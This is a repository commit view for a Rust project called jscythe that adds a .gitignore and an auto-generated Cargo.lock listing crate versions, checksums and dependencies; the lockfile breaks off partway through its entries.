Projects STRLCPY jscythe Commits 535ab3fb
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    .gitignore
     1 +/target
     2 + 
  • ■ ■ ■ ■ ■ ■
    Cargo.lock
     1 +# This file is automatically @generated by Cargo.
     2 +# It is not intended for manual editing.
     3 +version = 3
     4 + 
     5 +[[package]]
     6 +name = "atty"
     7 +version = "0.2.14"
     8 +source = "registry+https://github.com/rust-lang/crates.io-index"
     9 +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
     10 +dependencies = [
     11 + "hermit-abi",
     12 + "libc",
     13 + "winapi 0.3.9",
     14 +]
     15 + 
     16 +[[package]]
     17 +name = "autocfg"
     18 +version = "0.1.8"
     19 +source = "registry+https://github.com/rust-lang/crates.io-index"
     20 +checksum = "0dde43e75fd43e8a1bf86103336bc699aa8d17ad1be60c76c0bdfd4828e19b78"
     21 +dependencies = [
     22 + "autocfg 1.1.0",
     23 +]
     24 + 
     25 +[[package]]
     26 +name = "autocfg"
     27 +version = "1.1.0"
     28 +source = "registry+https://github.com/rust-lang/crates.io-index"
     29 +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
     30 + 
     31 +[[package]]
     32 +name = "base64"
     33 +version = "0.9.3"
     34 +source = "registry+https://github.com/rust-lang/crates.io-index"
     35 +checksum = "489d6c0ed21b11d038c31b6ceccca973e65d73ba3bd8ecb9a2babf5546164643"
     36 +dependencies = [
     37 + "byteorder",
     38 + "safemem",
     39 +]
     40 + 
     41 +[[package]]
     42 +name = "base64"
     43 +version = "0.10.1"
     44 +source = "registry+https://github.com/rust-lang/crates.io-index"
     45 +checksum = "0b25d992356d2eb0ed82172f5248873db5560c4721f564b13cb5193bda5e668e"
     46 +dependencies = [
     47 + "byteorder",
     48 +]
     49 + 
     50 +[[package]]
     51 +name = "base64"
     52 +version = "0.13.0"
     53 +source = "registry+https://github.com/rust-lang/crates.io-index"
     54 +checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
     55 + 
     56 +[[package]]
     57 +name = "bitflags"
     58 +version = "1.3.2"
     59 +source = "registry+https://github.com/rust-lang/crates.io-index"
     60 +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
     61 + 
     62 +[[package]]
     63 +name = "block-buffer"
     64 +version = "0.7.3"
     65 +source = "registry+https://github.com/rust-lang/crates.io-index"
     66 +checksum = "c0940dc441f31689269e10ac70eb1002a3a1d3ad1390e030043662eb7fe4688b"
     67 +dependencies = [
     68 + "block-padding",
     69 + "byte-tools",
     70 + "byteorder",
     71 + "generic-array",
     72 +]
     73 + 
     74 +[[package]]
     75 +name = "block-padding"
     76 +version = "0.1.5"
     77 +source = "registry+https://github.com/rust-lang/crates.io-index"
     78 +checksum = "fa79dedbb091f449f1f39e53edf88d5dbe95f895dae6135a8d7b881fb5af73f5"
     79 +dependencies = [
     80 + "byte-tools",
     81 +]
     82 + 
     83 +[[package]]
     84 +name = "bumpalo"
     85 +version = "3.11.0"
     86 +source = "registry+https://github.com/rust-lang/crates.io-index"
     87 +checksum = "c1ad822118d20d2c234f427000d5acc36eabe1e29a348c89b63dd60b13f28e5d"
     88 + 
     89 +[[package]]
     90 +name = "byte-tools"
     91 +version = "0.3.1"
     92 +source = "registry+https://github.com/rust-lang/crates.io-index"
     93 +checksum = "e3b5ca7a04898ad4bcd41c90c5285445ff5b791899bb1b0abdd2a2aa791211d7"
     94 + 
     95 +[[package]]
     96 +name = "byteorder"
     97 +version = "1.4.3"
     98 +source = "registry+https://github.com/rust-lang/crates.io-index"
     99 +checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
     100 + 
     101 +[[package]]
     102 +name = "bytes"
     103 +version = "0.4.12"
     104 +source = "registry+https://github.com/rust-lang/crates.io-index"
     105 +checksum = "206fdffcfa2df7cbe15601ef46c813fce0965eb3286db6b56c583b814b51c81c"
     106 +dependencies = [
     107 + "byteorder",
     108 + "iovec",
     109 +]
     110 + 
     111 +[[package]]
     112 +name = "bytes"
     113 +version = "1.2.1"
     114 +source = "registry+https://github.com/rust-lang/crates.io-index"
     115 +checksum = "ec8a7b6a70fde80372154c65702f00a0f56f3e1c36abbc6c440484be248856db"
     116 + 
     117 +[[package]]
     118 +name = "cc"
     119 +version = "1.0.73"
     120 +source = "registry+https://github.com/rust-lang/crates.io-index"
     121 +checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
     122 + 
     123 +[[package]]
     124 +name = "cfg-if"
     125 +version = "0.1.10"
     126 +source = "registry+https://github.com/rust-lang/crates.io-index"
     127 +checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
     128 + 
     129 +[[package]]
     130 +name = "cfg-if"
     131 +version = "1.0.0"
     132 +source = "registry+https://github.com/rust-lang/crates.io-index"
     133 +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
     134 + 
     135 +[[package]]
     136 +name = "clap"
     137 +version = "3.2.18"
     138 +source = "registry+https://github.com/rust-lang/crates.io-index"
     139 +checksum = "b15f2ea93df33549dbe2e8eecd1ca55269d63ae0b3ba1f55db030817d1c2867f"
     140 +dependencies = [
     141 + "atty",
     142 + "bitflags",
     143 + "clap_derive",
     144 + "clap_lex",
     145 + "indexmap",
     146 + "once_cell",
     147 + "strsim",
     148 + "termcolor",
     149 + "textwrap",
     150 +]
     151 + 
     152 +[[package]]
     153 +name = "clap_derive"
     154 +version = "3.2.18"
     155 +source = "registry+https://github.com/rust-lang/crates.io-index"
     156 +checksum = "ea0c8bce528c4be4da13ea6fead8965e95b6073585a2f05204bd8f4119f82a65"
     157 +dependencies = [
     158 + "heck",
     159 + "proc-macro-error",
     160 + "proc-macro2",
     161 + "quote",
     162 + "syn",
     163 +]
     164 + 
     165 +[[package]]
     166 +name = "clap_lex"
     167 +version = "0.2.4"
     168 +source = "registry+https://github.com/rust-lang/crates.io-index"
     169 +checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5"
     170 +dependencies = [
     171 + "os_str_bytes",
     172 +]
     173 + 
     174 +[[package]]
     175 +name = "cloudabi"
     176 +version = "0.0.3"
     177 +source = "registry+https://github.com/rust-lang/crates.io-index"
     178 +checksum = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f"
     179 +dependencies = [
     180 + "bitflags",
     181 +]
     182 + 
     183 +[[package]]
     184 +name = "core-foundation"
     185 +version = "0.9.3"
     186 +source = "registry+https://github.com/rust-lang/crates.io-index"
     187 +checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
     188 +dependencies = [
     189 + "core-foundation-sys",
     190 + "libc",
     191 +]
     192 + 
     193 +[[package]]
     194 +name = "core-foundation-sys"
     195 +version = "0.8.3"
     196 +source = "registry+https://github.com/rust-lang/crates.io-index"
     197 +checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc"
     198 + 
     199 +[[package]]
     200 +name = "crossbeam-channel"
     201 +version = "0.5.6"
     202 +source = "registry+https://github.com/rust-lang/crates.io-index"
     203 +checksum = "c2dd04ddaf88237dc3b8d8f9a3c1004b506b54b3313403944054d23c0870c521"
     204 +dependencies = [
     205 + "cfg-if 1.0.0",
     206 + "crossbeam-utils 0.8.11",
     207 +]
     208 + 
     209 +[[package]]
     210 +name = "crossbeam-deque"
     211 +version = "0.8.2"
     212 +source = "registry+https://github.com/rust-lang/crates.io-index"
     213 +checksum = "715e8152b692bba2d374b53d4875445368fdf21a94751410af607a5ac677d1fc"
     214 +dependencies = [
     215 + "cfg-if 1.0.0",
     216 + "crossbeam-epoch",
     217 + "crossbeam-utils 0.8.11",
     218 +]
     219 + 
     220 +[[package]]
     221 +name = "crossbeam-epoch"
     222 +version = "0.9.10"
     223 +source = "registry+https://github.com/rust-lang/crates.io-index"
     224 +checksum = "045ebe27666471bb549370b4b0b3e51b07f56325befa4284db65fc89c02511b1"
     225 +dependencies = [
     226 + "autocfg 1.1.0",
     227 + "cfg-if 1.0.0",
     228 + "crossbeam-utils 0.8.11",
     229 + "memoffset",
     230 + "once_cell",
     231 + "scopeguard",
     232 +]
     233 + 
     234 +[[package]]
     235 +name = "crossbeam-utils"
     236 +version = "0.7.2"
     237 +source = "registry+https://github.com/rust-lang/crates.io-index"
     238 +checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
     239 +dependencies = [
     240 + "autocfg 1.1.0",
     241 + "cfg-if 0.1.10",
     242 + "lazy_static",
     243 +]
     244 + 
     245 +[[package]]
     246 +name = "crossbeam-utils"
     247 +version = "0.8.11"
     248 +source = "registry+https://github.com/rust-lang/crates.io-index"
     249 +checksum = "51887d4adc7b564537b15adcfb307936f8075dfcd5f00dde9a9f1d29383682bc"
     250 +dependencies = [
     251 + "cfg-if 1.0.0",
     252 + "once_cell",
     253 +]
     254 + 
     255 +[[package]]
     256 +name = "digest"
     257 +version = "0.8.1"
     258 +source = "registry+https://github.com/rust-lang/crates.io-index"
     259 +checksum = "f3d0c8c8752312f9713efd397ff63acb9f85585afbf179282e720e7704954dd5"
     260 +dependencies = [
     261 + "generic-array",
     262 +]
     263 + 
     264 +[[package]]
     265 +name = "either"
     266 +version = "1.8.0"
     267 +source = "registry+https://github.com/rust-lang/crates.io-index"
     268 +checksum = "90e5c1c8368803113bf0c9584fc495a58b86dc8a29edbf8fe877d21d9507e797"
     269 + 
     270 +[[package]]
     271 +name = "encoding_rs"
     272 +version = "0.8.31"
     273 +source = "registry+https://github.com/rust-lang/crates.io-index"
     274 +checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b"
     275 +dependencies = [
     276 + "cfg-if 1.0.0",
     277 +]
     278 + 
     279 +[[package]]
     280 +name = "fake-simd"
     281 +version = "0.1.2"
     282 +source = "registry+https://github.com/rust-lang/crates.io-index"
     283 +checksum = "e88a8acf291dafb59c2d96e8f59828f3838bb1a70398823ade51a84de6a6deed"
     284 + 
     285 +[[package]]
     286 +name = "fastrand"
     287 +version = "1.8.0"
     288 +source = "registry+https://github.com/rust-lang/crates.io-index"
     289 +checksum = "a7a407cfaa3385c4ae6b23e84623d48c2798d06e3e6a1878f7f59f17b3f86499"
     290 +dependencies = [
     291 + "instant",
     292 +]
     293 + 
     294 +[[package]]
     295 +name = "fnv"
     296 +version = "1.0.7"
     297 +source = "registry+https://github.com/rust-lang/crates.io-index"
     298 +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
     299 + 
     300 +[[package]]
     301 +name = "foreign-types"
     302 +version = "0.3.2"
     303 +source = "registry+https://github.com/rust-lang/crates.io-index"
     304 +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
     305 +dependencies = [
     306 + "foreign-types-shared",
     307 +]
     308 + 
     309 +[[package]]
     310 +name = "foreign-types-shared"
     311 +version = "0.1.1"
     312 +source = "registry+https://github.com/rust-lang/crates.io-index"
     313 +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
     314 + 
     315 +[[package]]
     316 +name = "form_urlencoded"
     317 +version = "1.0.1"
     318 +source = "registry+https://github.com/rust-lang/crates.io-index"
     319 +checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191"
     320 +dependencies = [
     321 + "matches",
     322 + "percent-encoding 2.1.0",
     323 +]
     324 + 
     325 +[[package]]
     326 +name = "fuchsia-cprng"
     327 +version = "0.1.1"
     328 +source = "registry+https://github.com/rust-lang/crates.io-index"
     329 +checksum = "a06f77d526c1a601b7c4cdd98f54b5eaabffc14d5f2f0296febdc7f357c6d3ba"
     330 + 
     331 +[[package]]
     332 +name = "fuchsia-zircon"
     333 +version = "0.3.3"
     334 +source = "registry+https://github.com/rust-lang/crates.io-index"
     335 +checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
     336 +dependencies = [
     337 + "bitflags",
     338 + "fuchsia-zircon-sys",
     339 +]
     340 + 
     341 +[[package]]
     342 +name = "fuchsia-zircon-sys"
     343 +version = "0.3.3"
     344 +source = "registry+https://github.com/rust-lang/crates.io-index"
     345 +checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
     346 + 
     347 +[[package]]
     348 +name = "futures"
     349 +version = "0.1.31"
     350 +source = "registry+https://github.com/rust-lang/crates.io-index"
     351 +checksum = "3a471a38ef8ed83cd6e40aa59c1ffe17db6855c18e3604d9c4ed8c08ebc28678"
     352 + 
     353 +[[package]]
     354 +name = "futures-channel"
     355 +version = "0.3.23"
     356 +source = "registry+https://github.com/rust-lang/crates.io-index"
     357 +checksum = "2bfc52cbddcfd745bf1740338492bb0bd83d76c67b445f91c5fb29fae29ecaa1"
     358 +dependencies = [
     359 + "futures-core",
     360 +]
     361 + 
     362 +[[package]]
     363 +name = "futures-core"
     364 +version = "0.3.23"
     365 +source = "registry+https://github.com/rust-lang/crates.io-index"
     366 +checksum = "d2acedae88d38235936c3922476b10fced7b2b68136f5e3c03c2d5be348a1115"
     367 + 
     368 +[[package]]
     369 +name = "futures-io"
     370 +version = "0.3.23"
     371 +source = "registry+https://github.com/rust-lang/crates.io-index"
     372 +checksum = "93a66fc6d035a26a3ae255a6d2bca35eda63ae4c5512bef54449113f7a1228e5"
     373 + 
     374 +[[package]]
     375 +name = "futures-sink"
     376 +version = "0.3.23"
     377 +source = "registry+https://github.com/rust-lang/crates.io-index"
     378 +checksum = "ca0bae1fe9752cf7fd9b0064c674ae63f97b37bc714d745cbde0afb7ec4e6765"
     379 + 
     380 +[[package]]
     381 +name = "futures-task"
     382 +version = "0.3.23"
     383 +source = "registry+https://github.com/rust-lang/crates.io-index"
     384 +checksum = "842fc63b931f4056a24d59de13fb1272134ce261816e063e634ad0c15cdc5306"
     385 + 
     386 +[[package]]
     387 +name = "futures-util"
     388 +version = "0.3.23"
     389 +source = "registry+https://github.com/rust-lang/crates.io-index"
     390 +checksum = "f0828a5471e340229c11c77ca80017937ce3c58cb788a17e5f1c2d5c485a9577"
     391 +dependencies = [
     392 + "futures-core",
     393 + "futures-io",
     394 + "futures-task",
     395 + "memchr",
     396 + "pin-project-lite",
     397 + "pin-utils",
     398 + "slab",
     399 +]
     400 + 
     401 +[[package]]
     402 +name = "generic-array"
     403 +version = "0.12.4"
     404 +source = "registry+https://github.com/rust-lang/crates.io-index"
     405 +checksum = "ffdf9f34f1447443d37393cc6c2b8313aebddcd96906caf34e54c68d8e57d7bd"
     406 +dependencies = [
     407 + "typenum",
     408 +]
     409 + 
     410 +[[package]]
     411 +name = "h2"
     412 +version = "0.3.14"
     413 +source = "registry+https://github.com/rust-lang/crates.io-index"
     414 +checksum = "5ca32592cf21ac7ccab1825cd87f6c9b3d9022c44d086172ed0966bec8af30be"
     415 +dependencies = [
     416 + "bytes 1.2.1",
     417 + "fnv",
     418 + "futures-core",
     419 + "futures-sink",
     420 + "futures-util",
     421 + "http",
     422 + "indexmap",
     423 + "slab",
     424 + "tokio",
     425 + "tokio-util",
     426 + "tracing",
     427 +]
     428 + 
     429 +[[package]]
     430 +name = "hashbrown"
     431 +version = "0.12.3"
     432 +source = "registry+https://github.com/rust-lang/crates.io-index"
     433 +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
     434 + 
     435 +[[package]]
     436 +name = "heck"
     437 +version = "0.4.0"
     438 +source = "registry+https://github.com/rust-lang/crates.io-index"
     439 +checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9"
     440 + 
     441 +[[package]]
     442 +name = "hermit-abi"
     443 +version = "0.1.19"
     444 +source = "registry+https://github.com/rust-lang/crates.io-index"
     445 +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
     446 +dependencies = [
     447 + "libc",
     448 +]
     449 + 
     450 +[[package]]
     451 +name = "http"
     452 +version = "0.2.8"
     453 +source = "registry+https://github.com/rust-lang/crates.io-index"
     454 +checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399"
     455 +dependencies = [
     456 + "bytes 1.2.1",
     457 + "fnv",
     458 + "itoa",
     459 +]
     460 + 
     461 +[[package]]
     462 +name = "http-body"
     463 +version = "0.4.5"
     464 +source = "registry+https://github.com/rust-lang/crates.io-index"
     465 +checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1"
     466 +dependencies = [
     467 + "bytes 1.2.1",
     468 + "http",
     469 + "pin-project-lite",
     470 +]
     471 + 
     472 +[[package]]
     473 +name = "httparse"
     474 +version = "1.7.1"
     475 +source = "registry+https://github.com/rust-lang/crates.io-index"
     476 +checksum = "496ce29bb5a52785b44e0f7ca2847ae0bb839c9bd28f69acac9b99d461c0c04c"
     477 + 
     478 +[[package]]
     479 +name = "httpdate"
     480 +version = "1.0.2"
     481 +source = "registry+https://github.com/rust-lang/crates.io-index"
     482 +checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421"
     483 + 
     484 +[[package]]
     485 +name = "hyper"
     486 +version = "0.10.16"
     487 +source = "registry+https://github.com/rust-lang/crates.io-index"
     488 +checksum = "0a0652d9a2609a968c14be1a9ea00bf4b1d64e2e1f53a1b51b6fff3a6e829273"
     489 +dependencies = [
     490 + "base64 0.9.3",
     491 + "httparse",
     492 + "language-tags",
     493 + "log 0.3.9",
     494 + "mime 0.2.6",
     495 + "num_cpus",
     496 + "time",
     497 + "traitobject",
     498 + "typeable",
     499 + "unicase",
     500 + "url 1.7.2",
     501 +]
     502 + 
     503 +[[package]]
     504 +name = "hyper"
     505 +version = "0.14.20"
     506 +source = "registry+https://github.com/rust-lang/crates.io-index"
     507 +checksum = "02c929dc5c39e335a03c405292728118860721b10190d98c2a0f0efd5baafbac"
     508 +dependencies = [
     509 + "bytes 1.2.1",
     510 + "futures-channel",
     511 + "futures-core",
     512 + "futures-util",
     513 + "h2",
     514 + "http",
     515 + "http-body",
     516 + "httparse",
     517 + "httpdate",
     518 + "itoa",
     519 + "pin-project-lite",
     520 + "socket2",
     521 + "tokio",
     522 + "tower-service",
     523 + "tracing",
     524 + "want",
     525 +]
     526 + 
     527 +[[package]]
     528 +name = "hyper-tls"
     529 +version = "0.5.0"
     530 +source = "registry+https://github.com/rust-lang/crates.io-index"
     531 +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905"
     532 +dependencies = [
     533 + "bytes 1.2.1",
     534 + "hyper 0.14.20",
     535 + "native-tls",
     536 + "tokio",
     537 + "tokio-native-tls",
     538 +]
     539 + 
     540 +[[package]]
     541 +name = "idna"
     542 +version = "0.1.5"
     543 +source = "registry+https://github.com/rust-lang/crates.io-index"
     544 +checksum = "38f09e0f0b1fb55fdee1f17470ad800da77af5186a1a76c026b679358b7e844e"
     545 +dependencies = [
     546 + "matches",
     547 + "unicode-bidi",
     548 + "unicode-normalization",
     549 +]
     550 + 
     551 +[[package]]
     552 +name = "idna"
     553 +version = "0.2.3"
     554 +source = "registry+https://github.com/rust-lang/crates.io-index"
     555 +checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8"
     556 +dependencies = [
     557 + "matches",
     558 + "unicode-bidi",
     559 + "unicode-normalization",
     560 +]
     561 + 
     562 +[[package]]
     563 +name = "indexmap"
     564 +version = "1.9.1"
     565 +source = "registry+https://github.com/rust-lang/crates.io-index"
     566 +checksum = "10a35a97730320ffe8e2d410b5d3b69279b98d2c14bdb8b70ea89ecf7888d41e"
     567 +dependencies = [
     568 + "autocfg 1.1.0",
     569 + "hashbrown",
     570 +]
     571 + 
     572 +[[package]]
     573 +name = "instant"
     574 +version = "0.1.12"
     575 +source = "registry+https://github.com/rust-lang/crates.io-index"
     576 +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
     577 +dependencies = [
     578 + "cfg-if 1.0.0",
     579 +]
     580 + 
     581 +[[package]]
     582 +name = "iovec"
     583 +version = "0.1.4"
     584 +source = "registry+https://github.com/rust-lang/crates.io-index"
     585 +checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e"
     586 +dependencies = [
     587 + "libc",
     588 +]
     589 + 
     590 +[[package]]
     591 +name = "ipnet"
     592 +version = "2.5.0"
     593 +source = "registry+https://github.com/rust-lang/crates.io-index"
     594 +checksum = "879d54834c8c76457ef4293a689b2a8c59b076067ad77b15efafbb05f92a592b"
     595 + 
     596 +[[package]]
     597 +name = "itoa"
     598 +version = "1.0.3"
     599 +source = "registry+https://github.com/rust-lang/crates.io-index"
     600 +checksum = "6c8af84674fe1f223a982c933a0ee1086ac4d4052aa0fb8060c12c6ad838e754"
     601 + 
     602 +[[package]]
     603 +name = "js-sys"
     604 +version = "0.3.59"
     605 +source = "registry+https://github.com/rust-lang/crates.io-index"
     606 +checksum = "258451ab10b34f8af53416d1fdab72c22e805f0c92a1136d59470ec0b11138b2"
     607 +dependencies = [
     608 + "wasm-bindgen",
     609 +]
     610 + 
     611 +[[package]]
     612 +name = "jscythe"
     613 +version = "1.0.0"
     614 +dependencies = [
     615 + "clap",
     616 + "netstat2",
     617 + "nix",
     618 + "reqwest",
     619 + "serde",
     620 + "serde_json",
     621 + "sysinfo",
     622 + "websocket",
     623 +]
     624 + 
     625 +[[package]]
     626 +name = "kernel32-sys"
     627 +version = "0.2.2"
     628 +source = "registry+https://github.com/rust-lang/crates.io-index"
     629 +checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
     630 +dependencies = [
     631 + "winapi 0.2.8",
     632 + "winapi-build",
     633 +]
     634 + 
     635 +[[package]]
     636 +name = "language-tags"
     637 +version = "0.2.2"
     638 +source = "registry+https://github.com/rust-lang/crates.io-index"
     639 +checksum = "a91d884b6667cd606bb5a69aa0c99ba811a115fc68915e7056ec08a46e93199a"
     640 + 
     641 +[[package]]
     642 +name = "lazy_static"
     643 +version = "1.4.0"
     644 +source = "registry+https://github.com/rust-lang/crates.io-index"
     645 +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
     646 + 
     647 +[[package]]
     648 +name = "libc"
     649 +version = "0.2.132"
     650 +source = "registry+https://github.com/rust-lang/crates.io-index"
     651 +checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
     652 + 
     653 +[[package]]
     654 +name = "lock_api"
     655 +version = "0.3.4"
     656 +source = "registry+https://github.com/rust-lang/crates.io-index"
     657 +checksum = "c4da24a77a3d8a6d4862d95f72e6fdb9c09a643ecdb402d754004a557f2bec75"
     658 +dependencies = [
     659 + "scopeguard",
     660 +]
     661 + 
     662 +[[package]]
     663 +name = "log"
     664 +version = "0.3.9"
     665 +source = "registry+https://github.com/rust-lang/crates.io-index"
     666 +checksum = "e19e8d5c34a3e0e2223db8e060f9e8264aeeb5c5fc64a4ee9965c062211c024b"
     667 +dependencies = [
     668 + "log 0.4.17",
     669 +]
     670 + 
     671 +[[package]]
     672 +name = "log"
     673 +version = "0.4.17"
     674 +source = "registry+https://github.com/rust-lang/crates.io-index"
     675 +checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
     676 +dependencies = [
     677 + "cfg-if 1.0.0",
     678 +]
     679 + 
     680 +[[package]]
     681 +name = "matches"
     682 +version = "0.1.9"
     683 +source = "registry+https://github.com/rust-lang/crates.io-index"
     684 +checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f"
     685 + 
     686 +[[package]]
     687 +name = "maybe-uninit"
     688 +version = "2.0.0"
     689 +source = "registry+https://github.com/rust-lang/crates.io-index"
     690 +checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
     691 + 
     692 +[[package]]
     693 +name = "memchr"
     694 +version = "2.5.0"
     695 +source = "registry+https://github.com/rust-lang/crates.io-index"
     696 +checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
     697 + 
     698 +[[package]]
     699 +name = "memoffset"
     700 +version = "0.6.5"
     701 +source = "registry+https://github.com/rust-lang/crates.io-index"
     702 +checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce"
     703 +dependencies = [
     704 + "autocfg 1.1.0",
     705 +]
     706 + 
     707 +[[package]]
     708 +name = "mime"
     709 +version = "0.2.6"
     710 +source = "registry+https://github.com/rust-lang/crates.io-index"
     711 +checksum = "ba626b8a6de5da682e1caa06bdb42a335aee5a84db8e5046a3e8ab17ba0a3ae0"
     712 +dependencies = [
     713 + "log 0.3.9",
     714 +]
     715 + 
     716 +[[package]]
     717 +name = "mime"
     718 +version = "0.3.16"
     719 +source = "registry+https://github.com/rust-lang/crates.io-index"
     720 +checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
     721 + 
     722 +[[package]]
     723 +name = "mio"
     724 +version = "0.6.23"
     725 +source = "registry+https://github.com/rust-lang/crates.io-index"
     726 +checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4"
     727 +dependencies = [
     728 + "cfg-if 0.1.10",
     729 + "fuchsia-zircon",
     730 + "fuchsia-zircon-sys",
     731 + "iovec",
     732 + "kernel32-sys",
     733 + "libc",
     734 + "log 0.4.17",
     735 + "miow",
     736 + "net2",
     737 + "slab",
     738 + "winapi 0.2.8",
     739 +]
     740 + 
     741 +[[package]]
     742 +name = "mio"
     743 +version = "0.8.4"
     744 +source = "registry+https://github.com/rust-lang/crates.io-index"
     745 +checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf"
     746 +dependencies = [
     747 + "libc",
     748 + "log 0.4.17",
     749 + "wasi 0.11.0+wasi-snapshot-preview1",
     750 + "windows-sys",
     751 +]
     752 + 
     753 +[[package]]
     754 +name = "miow"
     755 +version = "0.2.2"
     756 +source = "registry+https://github.com/rust-lang/crates.io-index"
     757 +checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d"
     758 +dependencies = [
     759 + "kernel32-sys",
     760 + "net2",
     761 + "winapi 0.2.8",
     762 + "ws2_32-sys",
     763 +]
     764 + 
     765 +[[package]]
     766 +name = "native-tls"
     767 +version = "0.2.10"
     768 +source = "registry+https://github.com/rust-lang/crates.io-index"
     769 +checksum = "fd7e2f3618557f980e0b17e8856252eee3c97fa12c54dff0ca290fb6266ca4a9"
     770 +dependencies = [
     771 + "lazy_static",
     772 + "libc",
     773 + "log 0.4.17",
     774 + "openssl",
     775 + "openssl-probe",
     776 + "openssl-sys",
     777 + "schannel",
     778 + "security-framework",
     779 + "security-framework-sys",
     780 + "tempfile",
     781 +]
     782 + 
     783 +[[package]]
     784 +name = "net2"
     785 +version = "0.2.37"
     786 +source = "registry+https://github.com/rust-lang/crates.io-index"
     787 +checksum = "391630d12b68002ae1e25e8f974306474966550ad82dac6886fb8910c19568ae"
     788 +dependencies = [
     789 + "cfg-if 0.1.10",
     790 + "libc",
     791 + "winapi 0.3.9",
     792 +]
     793 + 
     794 +[[package]]
     795 +name = "netstat2"
     796 +version = "0.9.1"
     797 +source = "registry+https://github.com/rust-lang/crates.io-index"
     798 +checksum = "0faa3f4ad230fd2bf2a5dad71476ecbaeaed904b3c7e7e5b1f266c415c03761f"
     799 +dependencies = [
     800 + "bitflags",
     801 + "byteorder",
     802 + "libc",
     803 + "num-derive",
     804 + "num-traits",
     805 + "thiserror",
     806 +]
     807 + 
     808 +[[package]]
     809 +name = "nix"
     810 +version = "0.25.0"
     811 +source = "registry+https://github.com/rust-lang/crates.io-index"
     812 +checksum = "e322c04a9e3440c327fca7b6c8a63e6890a32fa2ad689db972425f07e0d22abb"
     813 +dependencies = [
     814 + "autocfg 1.1.0",
     815 + "bitflags",
     816 + "cfg-if 1.0.0",
     817 + "libc",
     818 + "memoffset",
     819 + "pin-utils",
     820 +]
     821 + 
     822 +[[package]]
     823 +name = "ntapi"
     824 +version = "0.3.7"
     825 +source = "registry+https://github.com/rust-lang/crates.io-index"
     826 +checksum = "c28774a7fd2fbb4f0babd8237ce554b73af68021b5f695a3cebd6c59bac0980f"
     827 +dependencies = [
     828 + "winapi 0.3.9",
     829 +]
     830 + 
     831 +[[package]]
     832 +name = "num-derive"
     833 +version = "0.3.3"
     834 +source = "registry+https://github.com/rust-lang/crates.io-index"
     835 +checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d"
     836 +dependencies = [
     837 + "proc-macro2",
     838 + "quote",
     839 + "syn",
     840 +]
     841 + 
     842 +[[package]]
     843 +name = "num-traits"
     844 +version = "0.2.15"
     845 +source = "registry+https://github.com/rust-lang/crates.io-index"
     846 +checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd"
     847 +dependencies = [
     848 + "autocfg 1.1.0",
     849 +]
     850 + 
     851 +[[package]]
     852 +name = "num_cpus"
     853 +version = "1.13.1"
     854 +source = "registry+https://github.com/rust-lang/crates.io-index"
